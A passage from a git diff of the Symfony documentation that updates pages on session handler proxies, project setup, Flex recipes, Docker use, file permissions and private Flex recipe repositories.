xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <framework:config> - <framework:session handler-id="App\Session\CustomSessionHandler"/> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/framework.php - use App\Session\CustomSessionHandler; - $container->loadFromExtension('framework', [ - // ... - 'session' => [ - // ... - 'handler_id' => CustomSessionHandler::class, - ], - ]); - -Keep reading the next sections to learn how to use the session handlers in practice -to solve two common use cases: encrypt session information and define read-only -guest sessions. - -Encryption of Session Data --------------------------- - -If you want to encrypt the session data, you can use the proxy to encrypt and -decrypt the session as required. The following example uses the `php-encryption`_ -library, but you can adapt it to any other library that you may be using:: - - // src/Session/EncryptedSessionProxy.php - namespace App\Session; - - use Defuse\Crypto\Crypto; - use Defuse\Crypto\Key; - use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy; - - class EncryptedSessionProxy extends SessionHandlerProxy - { - private $key; - - public function __construct(\SessionHandlerInterface $handler, Key $key) - { - $this->key = $key; - - parent::__construct($handler); - } - - public function read($id) - { - $data = parent::read($id); - - return Crypto::decrypt($data, $this->key); - } - - public function write($id, $data) - { - $data = Crypto::encrypt($data, $this->key); - - return parent::write($id, $data); - } - } - -Read-only Guest Sessions ------------------------- - -There are some applications where a session is required for guest users, but -where there is no particular need to persist the session. In this case you -can intercept the session before it is written:: - - // src/Session/ReadOnlySessionProxy.php - namespace App\Session; - - use App\Entity\User; - use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy; - use Symfony\Component\Security\Core\Security; - - class ReadOnlySessionProxy extends SessionHandlerProxy - { - private $security; - - public function __construct(\SessionHandlerInterface $handler, Security $security) - { - $this->security = $security; - - parent::__construct($handler); - } - - public function write($id, $data) - { - if ($this->getUser() && $this->getUser()->isGuest()) { - return; - } - - return parent::write($id, $data); - } - - private function getUser() - { - $user = $this->security->getUser(); - if (is_object($user)) { - return $user; - } - } - } - -.. _`php-encryption`: https://github.com/defuse/php-encryption diff --git a/setup.rst b/setup.rst index 8e8f7c5610e..a7fa8c66826 100644 --- a/setup.rst +++ b/setup.rst @@ -1,13 +1,10 @@ -.. index:: - single: Installing and Setting up Symfony - Installing & Setting up the Symfony Framework ============================================= .. admonition:: Screencast :class: screencast - Do you prefer video tutorials? Check out the `Stellar Development with Symfony`_ + Do you prefer video tutorials? Check out the `Cosmic Coding with Symfony`_ screencast series. .. _symfony-tech-requirements: @@ -17,14 +14,16 @@ Technical Requirements Before creating your first Symfony application you must: -* Install PHP 7.2.5 or higher and these PHP extensions (which are installed and - enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_, +* Install PHP 8.2 or higher and these PHP extensions (which are installed and + enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_, `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_; * `Install Composer`_, which is used to install PHP packages. -Optionally, you can also `install Symfony CLI`_. This creates a binary called -``symfony`` that provides all the tools you need to develop and run your -Symfony application locally. +.. _setup-symfony-cli: + +Also, `install the Symfony CLI`_. This is optional, but it gives you a +helpful binary called ``symfony`` that provides all tools you need to +develop and run your Symfony application locally. The ``symfony`` binary also provides a tool to check if your computer meets all requirements. Open your console terminal and run this command: @@ -35,9 +34,8 @@ requirements. Open your console terminal and run this command: .. note:: - The Symfony binary is developed internally at Symfony. If you want to - report a bug or suggest a new feature, please create an issue on - `symfony/cli`_. + The Symfony CLI is open source, and you can contribute to it in the + `symfony-cli/symfony-cli GitHub repository`_. .. _creating-symfony-applications: @@ -50,14 +48,14 @@ application: .. code-block:: terminal # run this if you are building a traditional web application - $ symfony new my_project_name --version=next --full + $ symfony new my_project_directory --version="7.3.x" --webapp # run this if you are building a microservice, console application or API - $ symfony new my_project_name --version=next + $ symfony new my_project_directory --version="7.3.x" The only difference between these two commands is the number of packages -installed by default. The ``--full`` option installs all the packages that you -usually need to build web applications, so the installation size will be bigger. +installed by default. The ``--webapp`` option installs extra packages to give +you everything you need to build a web application. If you're not using the Symfony binary, run these commands to create the new Symfony application using Composer: @@ -65,13 +63,15 @@ Symfony application using Composer: .. code-block:: terminal # run this if you are building a traditional web application - $ composer create-project symfony/website-skeleton:"5.2.x@dev" my_project_name + $ composer create-project symfony/skeleton:"7.3.x" my_project_directory + $ cd my_project_directory + $ composer require webapp # run this if you are building a microservice, console application or API - $ composer create-project symfony/skeleton:"5.2.x@dev" my_project_name + $ composer create-project symfony/skeleton:"7.3.x" my_project_directory No matter which command you run to create the Symfony application. All of them -will create a new ``my_project_name/`` directory, download some dependencies +will create a new ``my_project_directory/`` directory, download some dependencies into it and even generate the basic directories and files you'll need to get started. In other words, your new application is ready! @@ -81,17 +81,48 @@ started. In other words, your new application is ready! and ``<project>/var/log/``) must be writable by the web server. If you have any issue, read how to :doc:`set up permissions for Symfony applications </setup/file_permissions>`. +.. _install-existing-app: + +Setting up an Existing Symfony Project +-------------------------------------- + +In addition to creating new Symfony projects, you will also work on projects +already created by other developers. In that case, you only need to get the +project code and install the dependencies with Composer. Assuming your team uses +Git, setup your project with the following commands: + +.. code-block:: terminal + + # clone the project to download its contents + $ cd projects/ + $ git clone ... + + # make Composer install the project's dependencies into vendor/ + $ cd my-project/ + $ composer install + +You'll probably also need to customize your :ref:`.env file <config-dot-env>` +and do a few other project-specific tasks (e.g. creating a database). When +working on an existing Symfony application for the first time, it may be useful +to run this command which displays information about the project: + +.. code-block:: terminal + + $ php bin/console about + Running Symfony Applications ---------------------------- -In production, you should install a webserver like Nginx or Apache and +In production, you should install a web server like Nginx or Apache and :doc:`configure it to run Symfony </setup/web_server_configuration>`. This method can also be used if you're not using the Symfony local web server for development. +.. _symfony-binary-web-server: + However for local development, the most convenient way of running Symfony is by -using the :doc:`local web server </setup/symfony_server>` provided by the -``symfony`` binary. This local server provides among other things support for +using the :ref:`local web server <symfony-cli-server>` provided by the +Symfony CLI tool. This local server provides among other things support for HTTP/2, concurrent requests, TLS/SSL and automatic generation of security certificates. @@ -112,36 +143,13 @@ the server by pressing ``Ctrl+C`` from your terminal. The web server works with any PHP application, not only Symfony projects, so it's a very useful generic development tool. -.. _install-existing-app: - -Setting up an Existing Symfony Project --------------------------------------- - -In addition to creating new Symfony projects, you will also work on projects -already created by other developers. In that case, you only need to get the -project code and install the dependencies with Composer. Assuming your team uses -Git, setup your project with the following commands: - -.. code-block:: terminal - - # clone the project to download its contents - $ cd projects/ - $ git clone ... +Symfony Docker Integration +~~~~~~~~~~~~~~~~~~~~~~~~~~ - # make Composer install the project's dependencies into vendor/ - $ cd my-project/ - $ composer install - -You'll probably also need to customize your :ref:`.env file <config-dot-env>` -and do a few other project-specific tasks (e.g. creating a database). When -working on a existing Symfony application for the first time, it may be useful -to run this command which displays information about the project: - -.. code-block:: terminal - - $ php bin/console about +If you'd like to use Docker with Symfony, see :doc:`/setup/docker`. .. _symfony-flex: +.. _flex-quick-intro: Installing Packages ------------------- @@ -179,7 +187,7 @@ and enables all the packages needed to use the official Symfony logger. This is possible because lots of Symfony packages/bundles define **"recipes"**, which are a set of automated instructions to install and enable packages into -Symfony applications. Flex keeps tracks of the recipes it installed in a +Symfony applications. Flex keeps track of the recipes it installed in a ``symfony.lock`` file, which must be committed to your code repository. Symfony Flex recipes are contributed by the community and they are stored in @@ -210,20 +218,18 @@ For example, to add debugging features in your application, you can run the which in turn installs several packages like ``symfony/debug-bundle``, ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc. -By default, when installing Symfony packs, your ``composer.json`` file shows the -pack dependency (e.g. ``"symfony/debug-pack": "^1.0"``) instead of the actual -packages installed. To show the packages, add the ``--unpack`` option when -installing a pack (e.g. ``composer require debug --dev --unpack``) or run this -command to unpack the already installed packs: ``composer unpack PACK_NAME`` -(e.g. ``composer unpack debug``). +You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``, +as Flex automatically unpacks the pack. This means that it only adds the real +packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in +``require-dev``). .. _security-checker: Checking Security Vulnerabilities --------------------------------- -The ``symfony`` binary created when you `install Symfony CLI`_ provides a command to -check whether your project's dependencies contain any known security +The ``symfony`` binary created when you installed the :ref:`Symfony CLI <setup-symfony-cli>` +provides a command to check whether your project's dependencies contain any known security vulnerability: .. code-block:: terminal @@ -235,12 +241,17 @@ update or replace compromised dependencies as soon as possible. The security check is done locally by fetching the public `PHP security advisories database`_, so your ``composer.lock`` file is not sent on the network. +The ``check:security`` command terminates with a non-zero exit code if any of +your dependencies is affected by a known security vulnerability. This way you +can add it to your project build process and your continuous integration +workflows to make them fail when there are vulnerabilities. + .. tip:: - The ``check:security`` command terminates with a non-zero exit code if - any of your dependencies is affected by a known security vulnerability. - This way you can add it to your project build process and your continuous - integration workflows to make them fail when there are vulnerabilities. + In continuous integration services you can check security vulnerabilities + by running the ``composer audit`` command. This uses the same data internally + as ``check:security`` but does not require installing the entire Symfony CLI + during CI or on CI workers. Symfony LTS Versions -------------------- @@ -255,20 +266,20 @@ stable version. If you want to use an LTS version, add the ``--version`` option: .. code-block:: terminal # use the most recent LTS version - $ symfony new my_project_name --version=lts + $ symfony new my_project_directory --version=lts # use the 'next' Symfony version to be released (still in development) - $ symfony new my_project_name --version=next + $ symfony new my_project_directory --version=next # you can also select an exact specific Symfony version - $ symfony new my_project_name --version=4.4 + $ symfony new my_project_directory --version="6.4.*" The ``lts`` and ``next`` shortcuts are only available when using Symfony to create new projects. If you use Composer, you need to tell the exact version: .. code-block:: terminal - $ composer create-project symfony/website-skeleton:"^4.4" my_project_name + $ composer create-project symfony/skeleton:"6.4.*" my_project_directory The Symfony Demo application ---------------------------- @@ -281,7 +292,7 @@ Run this command to create a new project based on the Symfony Demo application: .. code-block:: terminal - $ symfony new my_project_name --demo + $ symfony new my_project_directory --demo Start Coding! ------------- @@ -291,23 +302,19 @@ With setup behind you, it's time to :doc:`Create your first page in Symfony </pa Learn More ---------- -.. toctree:: - :hidden: - - page_creation - .. toctree:: :maxdepth: 1 :glob: + setup/docker setup/homestead setup/web_server_configuration setup/* -.. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony +.. _`Cosmic Coding with Symfony`: https://symfonycasts.com/screencast/symfony .. _`Install Composer`: https://getcomposer.org/download/ -.. _`install Symfony CLI`: https://symfony.com/download -.. _`symfony/cli`: https://github.com/symfony/cli +.. _`install the Symfony CLI`: https://symfony.com/download +.. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli .. _`The Symfony Demo Application`: https://github.com/symfony/demo .. _`Symfony Flex`: https://github.com/symfony/flex .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories @@ -316,7 +323,6 @@ Learn More .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib .. _`Symfony Recipes documentation`: https://github.com/symfony/recipes/blob/master/README.rst .. _`iconv`: https://www.php.net/book.iconv -.. _`JSON`: https://www.php.net/book.json .. _`Session`: https://www.php.net/book.session .. _`Ctype`: https://www.php.net/book.ctype .. _`Tokenizer`: https://www.php.net/book.tokenizer diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc index a6a6c70e570..7b858c51351 100644 --- a/setup/_update_all_packages.rst.inc +++ b/setup/_update_all_packages.rst.inc @@ -9,7 +9,7 @@ this safely by running: $ composer update -.. caution:: +.. warning:: Beware, if you have some unspecific `version constraints`_ in your ``composer.json`` (e.g. ``dev-master``), this could upgrade some diff --git a/setup/_update_dep_errors.rst.inc b/setup/_update_dep_errors.rst.inc index 49ae97067e4..5dc7e6745bc 100644 --- a/setup/_update_dep_errors.rst.inc +++ b/setup/_update_dep_errors.rst.inc @@ -24,7 +24,7 @@ versions of other libraries. Check your error message to debug. Another issue that may happen is that the project dependencies can be installed on your local computer but not on the remote server. This usually happens when the PHP versions are different on each machine. The solution is to add the -`platform`_ config option to your `composer.json` file to define the highest +`platform`_ config option to your ``composer.json`` file to define the highest PHP version allowed for the dependencies (set it to the server's PHP version). .. _`platform`: https://getcomposer.org/doc/06-config.md#platform diff --git a/setup/_update_recipes.rst.inc b/setup/_update_recipes.rst.inc index da963380ce1..98dff8ddcb8 100644 --- a/setup/_update_recipes.rst.inc +++ b/setup/_update_recipes.rst.inc @@ -9,30 +9,25 @@ it's a good idea to keep your files in sync with the recipes. Symfony Flex provides several commands to help upgrade your recipes. Be sure to commit any unrelated changes you're working on before starting: -.. versionadded:: 1.6 +.. versionadded:: 1.18 - The recipes commands were introduced in Symfony Flex 1.6. + The ``recipes:update`` command was introduced in Symfony Flex 1.18. .. code-block:: terminal + # choose an outdated recipe to update + $ composer recipes:update + + # update a specific recipe + $ composer recipes:update symfony/framework-bundle + # see a list of all installed recipes and which have updates available $ composer recipes # see detailed information about a specific recipes $ composer recipes symfony/framework-bundle - # update a specific recipes - $ composer recipes:install symfony/framework-bundle --force -v - -The tricky part of this process is that the recipe "update" does not perform -any intelligent "upgrading" of your code. Instead, **the updates process re-installs -the latest version of the recipe** which means that **your custom code will be -overridden completely**. After updating a recipe, you need to carefully choose -which changes you want, and undo the rest. - -.. admonition:: Screencast - :class: screencast - - For a detailed example, see the `SymfonyCasts Symfony 5 Upgrade Tutorial`_. - -.. _`SymfonyCasts Symfony 5 Upgrade Tutorial`: https://symfonycasts.com/screencast/symfony5-upgrade +The ``recipes:update`` command is smart: it looks at the difference between the +recipe when you installed it and the latest version. It then creates a patch and +applies it to your app. If there are any conflicts, you can resolve them like a +normal ``git`` conflict and commit like normal. diff --git a/setup/_vendor_deps.rst.inc b/setup/_vendor_deps.rst.inc deleted file mode 100644 index 58f582be681..00000000000 --- a/setup/_vendor_deps.rst.inc +++ /dev/null @@ -1,59 +0,0 @@ -Managing Vendor Libraries with ``composer.json`` ------------------------------------------------- - -How Does it Work? -~~~~~~~~~~~~~~~~~ - -Every Symfony project uses a group of third-party "vendor" libraries. One -way or another the goal is to download these files into your ``vendor/`` -directory and, ideally, to give you some sane way to manage the exact version -you need for each. - -By default, these libraries are downloaded by running a ``composer install`` -"downloader" binary. This ``composer`` file is from a library called `Composer`_ -and you can read more about :doc:`installing Composer globally </setup/composer>`. - -The ``composer`` command reads from the ``composer.json`` file at the root -of your project. This is an JSON-formatted file, which holds a list of each -of the external packages you need, the version to be downloaded and more. -``composer`` also reads from a ``composer.lock`` file, which allows you to -pin each library to an **exact** version. In fact, if a ``composer.lock`` -file exists, the versions inside will override those in ``composer.json``. -To upgrade your libraries to new versions, run ``composer update``. - -.. tip:: - - If you want to add a new package to your application, run the composer - ``require`` command: - - .. code-block:: terminal - - $ composer require doctrine/doctrine-fixtures-bundle - -To learn more about Composer, see `GetComposer.org`_: - -It's important to realize that these vendor libraries are *not* actually part -of *your* repository. Instead, they're un-tracked files that are downloaded -into the ``vendor/``. But since all the information needed to download these -files is saved in ``composer.json`` and ``composer.lock`` (which *are* stored -in the repository), any other developer can use the project, run ``composer install``, -and download the exact same set of vendor libraries. This means that you're -controlling exactly what each vendor library looks like, without needing to -actually commit them to *your* repository. - -So, whenever a developer uses your project, they should run the ``composer install`` -script to ensure that all of the needed vendor libraries are downloaded. - -.. sidebar:: Upgrading Symfony - - Since Symfony is just a group of third-party libraries and third-party - libraries are entirely controlled through ``composer.json`` and ``composer.lock``, - upgrading Symfony means simply upgrading each of these files to match - their state in the latest Symfony Standard Edition. - - If you've added new entries to ``composer.json``, be sure - to replace only the original parts (i.e. be sure not to also delete any of - your custom entries). - -.. _Composer: https://getcomposer.org/ -.. _GetComposer.org: https://getcomposer.org/ diff --git a/setup/bundles.rst b/setup/bundles.rst index e84bc4addb1..61d0308be66 100644 --- a/setup/bundles.rst +++ b/setup/bundles.rst @@ -1,10 +1,7 @@ -.. index:: - single: Upgrading; Bundle; Major Version - Upgrading a Third-Party Bundle for a Major Symfony Version ========================================================== -Symfony 3 was released on November 2015. Although this version doesn't contain +Symfony 3 was released in November 2015. Although this version doesn't contain any new features, it removes all the backward compatibility layers included in the previous 2.8 version. If your bundle uses any deprecated feature and it's published as a third-party bundle, applications upgrading to Symfony 3 will no @@ -26,8 +23,8 @@ Most third-party bundles define their Symfony dependencies using the ``~2.N`` or } } -These constraints prevent the bundle from using Symfony 3 components, so it makes -it impossible to install it in a Symfony 3 based application. Thanks to the +These constraints prevent the bundle from using Symfony 3 components, which +means the bundle cannot be installed in a Symfony 3 based application. Thanks to the flexibility of Composer dependencies constraints, you can specify more than one major version by replacing ``~2.N`` by ``~2.N|~3.0`` (or ``^2.N`` by ``^2.N|~3.0``). @@ -81,7 +78,7 @@ PHPUnit test report: Twig Function "form_enctype" is deprecated. Use "form_start" instead in ... - The Symfony\Component\Security\Core\SecurityContext class is deprecated since + The Symfony\Bundle\SecurityBundle\SecurityContext class is deprecated since version 2.6 and will be removed in 3.0. Use ... Fix the reported deprecations, run the test suite again and repeat the process diff --git a/setup/docker.rst b/setup/docker.rst new file mode 100644 index 00000000000..c00192e08d4 --- /dev/null +++ b/setup/docker.rst @@ -0,0 +1,60 @@ +Using Docker with Symfony +========================= + +Can you use Docker with Symfony? Of course! And several tools exist to help, +depending on your needs. + +Complete Docker Environment +--------------------------- + +If you'd like a complete Docker environment (i.e. where PHP, web server, database, +etc. are all in Docker), check out `https://github.com/dunglas/symfony-docker`_. + +Alternatively, you can install PHP on your local machine and use the +:ref:`symfony binary Docker integration <symfony-server-docker>`. In both cases, +you can take advantage of automatic Docker configuration from :ref:`Symfony Flex <symfony-flex>`. + +Flex Recipes & Docker Configuration +----------------------------------- + +The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration. +For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``), +your ``compose.yaml`` file will automatically be updated to include a +``database`` service. + +The first time you install a recipe containing Docker config, Flex will ask you +if you want to include it. Or, you can set your preference in ``composer.json``, +by setting the ``extra.symfony.docker`` config to ``true`` or ``false``. + +Some recipes also include additions to your ``Dockerfile``. To get those changes, +you need to already have a ``Dockerfile`` at the root of your app *with* the +following code somewhere inside: + +.. code-block:: text + + ###> recipes ### + ###< recipes ### + +The recipe will find this section and add the changes inside. If you're using +`https://github.com/dunglas/symfony-docker`_, you'll already have this. + +After installing the package, rebuild your containers by running: + +.. code-block:: terminal + + $ docker-compose up --build + +Symfony Binary Web Server and Docker Support +-------------------------------------------- + +If you're using the :ref:`symfony binary web server <symfony-local-web-server>` (e.g. ``symfony server:start``), +then it can automatically detect your Docker services and expose them as environment +variables. See :ref:`symfony-server-docker`. + +.. note:: + + macOS users need to explicitly allow the default Docker socket to be used + for the Docker integration to work `as explained in the Docker documentation`_. + +.. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker +.. _`as explained in the Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/ diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst index f3e250fbb9f..45195f21e31 100644 --- a/setup/file_permissions.rst +++ b/setup/file_permissions.rst @@ -44,7 +44,8 @@ server user and grant the needed permissions: .. code-block:: terminal $ HTTPDUSER=$(ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1) - # if this doesn't work, try adding `-n` option + + # if the following commands don't work, try adding `-n` option to `setfacl` # set permissions for future files and folders $ sudo setfacl -dR -m u:"$HTTPDUSER":rwX -m u:$(whoami):rwX var @@ -66,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf`` for Apache) and set its user to be the same as your CLI user (e.g. for Apache, update the ``User`` and ``Group`` directives). -.. caution:: +.. danger:: If this solution is used in a production server, be sure this user only has limited privileges (no access to private data or servers, execution of - unsafe binaries, etc.) as a compromised server would give to the hacker - those privileges. + unsafe binaries, etc.) as a compromised server would give those privileges + to the hacker. 3. Without Using ACL ~~~~~~~~~~~~~~~~~~~~ @@ -88,7 +89,7 @@ and ``public/index.php`` files:: umask(0000); // This will let the permissions be 0777 -.. caution:: +.. warning:: Changing the ``umask`` is not thread-safe, so the ACL methods are recommended when they are available. diff --git a/setup/flex.rst b/setup/flex.rst index dd26b2aa9fb..7c12e389c67 100644 --- a/setup/flex.rst +++ b/setup/flex.rst @@ -1,5 +1,3 @@ -.. index:: Flex - Upgrading Existing Applications to Symfony Flex =============================================== @@ -58,14 +56,14 @@ manual steps: .. code-block:: diff - { - "require": { - "symfony/flex": "^1.0", - + }, - + "conflict": { - + "symfony/symfony": "*" - } - } + { + "require": { + "symfony/flex": "^1.0", + + }, + + "conflict": { + + "symfony/symfony": "*" + } + } Now you must add in ``composer.json`` all the Symfony dependencies required by your project. A quick way to do that is to add all the components that @@ -74,7 +72,7 @@ manual steps: .. code-block:: terminal - $ composer require annotations asset orm-pack twig \ + $ composer require annotations asset orm twig \ logger mailer form security translation validator $ composer require --dev dotenv maker-bundle orm-fixtures profiler @@ -89,7 +87,7 @@ manual steps: $ rm -rf vendor/* $ composer install -#. No matter which of the previous steps you followed. At this point, you'll have +#. Regardless of which of the previous steps you followed, at this point you'll have lots of new config files in ``config/``. They contain the default config defined by Symfony, so you must check your original files in ``app/config/`` and make the needed changes in the new files. Flex config doesn't use suffixes @@ -100,7 +98,7 @@ manual steps: located at ``config/services.yaml``. Copy the contents of the `default services.yaml file`_ and then add your own service configuration. Later you can revisit this file because thanks to Symfony's - :doc:`autowiring feature </service_container/3.3-di-changes>` you can remove + :doc:`autowiring feature </service_container/autowiring>` you can remove most of the service configuration. .. note:: @@ -117,14 +115,14 @@ manual steps: * ``app/Resources/<BundleName>/views/`` -> ``templates/bundles/<BundleName>/`` * rest of ``app/Resources/`` files -> ``src/Resources/`` -#. Move the original PHP source code from ``src/AppBundle/*``, except bundle +#. Move the original PHP source code files from ``src/AppBundle/*``, except bundle specific files (like ``AppBundle.php`` and ``DependencyInjection/``), to - ``src/``. + ``src/`` and update the namespace of each moved file to be ``App\...`` (advanced + IDEs can do this automatically). In addition to moving the files, update the ``autoload`` and ``autoload-dev`` values of the ``composer.json`` file as `shown in this example`_ to use - ``App\`` and ``App\Tests\`` as the application namespaces (advanced IDEs can - do this automatically). + ``App\`` and ``App\Tests\`` as the application namespaces. If you used multiple bundles to organize your code, you must reorganize your code into ``src/``. For example, if you had ``src/UserBundle/Controller/DefaultController.php`` @@ -134,6 +132,8 @@ manual steps: #. Move the public assets, such as images or compiled CSS/JS files, from ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``). +#. Remove ``src/AppBundle/``. + #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use :doc:`Webpack Encore </frontend>` to manage and compile them. @@ -149,12 +149,6 @@ manual steps: #. Update the ``bin/console`` script `copying Symfony's bin/console source`_ and changing anything according to your original console script. -#. Remove ``src/AppBundle/``. - -#. Move the original source code from ``src/{App,...}Bundle/`` to ``src/`` and - update the namespaces of every PHP file to be ``App\...`` (advanced IDEs can do - this automatically). - #. Remove the ``bin/symfony_requirements`` script and if you need a replacement for it, use the new `Symfony Requirements Checker`_. @@ -193,9 +187,14 @@ If you customize these paths, some files copied from a recipe still may contain references to the original path. In other words: you may need to update some things manually after a recipe is installed. -.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/services.yaml -.. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33 -.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46 -.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php -.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console +Learn more +---------- + +* :doc:`/setup/flex_private_recipes` + +.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/config/services.yaml +.. _`shown in this example`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L30-L39 +.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L55-L57 +.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/public/index.php +.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.3/bin/console .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst new file mode 100644 index 00000000000..191dd6a4e02 --- /dev/null +++ b/setup/flex_private_recipes.rst @@ -0,0 +1,309 @@ +How To Configure and Use Flex Private Recipe Repositories +========================================================= + +Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own +private Symfony Flex recipe repositories, and seamlessly integrate them into the +``composer`` package installation and maintenance process. + +This is particularly useful when you have private bundles or packages that must +perform their own installation tasks. To do this, you need to complete several steps: + +* Create a private repository; +* Create your private recipes; +* Create an index to the recipes; +* Store your recipes in the private repository; +* Grant ``composer`` access to the private repository; +* Configure your project's ``composer.json`` file; and +* Install the recipes in your project. + +.. _create-a-private-github-repository: + +Create a Private Repository +--------------------------- + +GitHub +~~~~~~ + +Log in to your GitHub.com account, click your account icon in the top-right +corner, and select **Your Repositories**. Then click the **New** button, fill in +the **repository name**, select the **Private** radio button, and click the +**Create Repository** button. + +Gitlab +~~~~~~ + +Log in to your Gitlab.com account, click the **New project** button, select +**Create blank project**, fill in the **Project name**, select the **Private** +radio button, and click the **Create project** button. + +Create Your Private Recipes +--------------------------- + +A ``symfony/flex`` recipe is a JSON file that has the following structure: + +.. code-block:: json + + { + "manifests": { + "acme/package-name": { + "manifest": { + }, + "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00" + } + } + } + +If your package is a private Symfony bundle, you will have the following in the recipe: + +.. code-block:: json + + { + "manifests": { + "acme/private-bundle": { + "manifest": { + "bundles": { + "Acme\\PrivateBundle\\AcmePrivateBundle": [ + "all" + ] + } + }, + "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00" + } + } + } + +Replace ``acme`` and ``private-bundle`` with your own private bundle details. +The ``"ref"`` entry is a random 40-character string used by ``composer`` to +determine if your recipe was modified. Every time that you make changes to your +recipe, you also need to generate a new ``"ref"`` value. + +.. tip:: + + Use the following PHP script to generate a random ``"ref"`` value:: + + echo bin2hex(random_bytes(20)); + +The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's +``bundles.php`` file for all environments. To load your bundle only for the +``dev`` environment, replace ``"all"`` with ``"dev"``. + +The name of your recipe JSON file must conform to the following convention, +where ``1.0`` is the version number of your bundle (replace ``acme`` and +``private-bundle`` with your own private bundle or package details): + + ``acme.private-bundle.1.0.json`` + +You will probably also want ``symfony/flex`` to create configuration files for +your bundle or package in the project's ``/config/packages`` directory. To do +that, change the recipe JSON file as follows: + +.. code-block:: json + + { + "manifests": { + "acme/private-bundle": { + "manifest": { + "bundles": { + "Acme\\PrivateBundle\\AcmePrivateBundle": [ + "all" + ] + }, + "copy-from-recipe": { + "config/": "%CONFIG_DIR%" + } + }, + "files": { + "config/packages/acme_private.yaml": { + "contents": [ + "acme_private:", + " encode: true", + "" + ], + "executable": false + } + }, + "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00" + } + } + } + +For more examples of what you can include in a recipe file, browse the +`Symfony recipe files`_. + +Create an Index to the Recipes +------------------------------ + +The next step is to create an ``index.json`` file, which will contain entries +for all your private recipes, and other general configuration information. + +GitHub +~~~~~~ + +The ``index.json`` file has the following format: + +.. code-block:: json + + { + "recipes": { + "acme/private-bundle": [ + "1.0" + ] + }, + "branch": "main", + "is_contrib": true, + "_links": { + "repository": "github.com/your-github-account-name/your-recipes-repository", + "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:main", + "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json" + } + } + +Create an entry in ``"recipes"`` for each of your bundle recipes. Replace +``your-github-account-name`` and ``your-recipes-repository`` with your own details. + +Gitlab +~~~~~~ + +The ``index.json`` file has the following format: + +.. code-block:: json + + { + "recipes": { + "acme/private-bundle": [ + "1.0" + ] + }, + "branch": "main", + "is_contrib": true, + "_links": { + "repository": "gitlab.com/your-gitlab-account-name/your-recipes-repository", + "origin_template": "{package}:{version}@gitlab.com/your-gitlab-account-name/your-recipes-repository:main", + "recipe_template": "https://gitlab.com/api/v4/projects/your-gitlab-project-id/repository/files/{package_dotted}.{version}.json/raw?ref=main" + } + } + +Create an entry in ``"recipes"`` for each of your bundle recipes. Replace +``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id`` +with your own details. + +Store Your Recipes in the Private Repository +-------------------------------------------- + +Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root +directory of your private repository. + +Grant ``composer`` Access to the Private Repository +--------------------------------------------------- + +GitHub +~~~~~~ + +In your GitHub account, click your account icon in the top-right corner, select +``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``. + +Generate a new access token with ``Full control of private repositories`` +privileges. Copy the access token value, switch to the terminal of your local +computer, and execute the following command: + +.. code-block:: terminal + + $ composer config --global --auth github-oauth.github.com [token] + +Replace ``[token]`` with the value of your GitHub personal access token. + +Gitlab +~~~~~~ + +In your Gitlab account, click your account icon in the top-right corner, select +``Preferences`` and ``Access Tokens``. + +Generate a new personal access token with ``read_api`` and ``read_repository`` +scopes. Copy the access token value, switch to the terminal of your local +computer, and execute the following command: + +.. code-block:: terminal + + $ composer config --global --auth gitlab-token.gitlab.com [token] + +Replace ``[token]`` with the value of your Gitlab personal 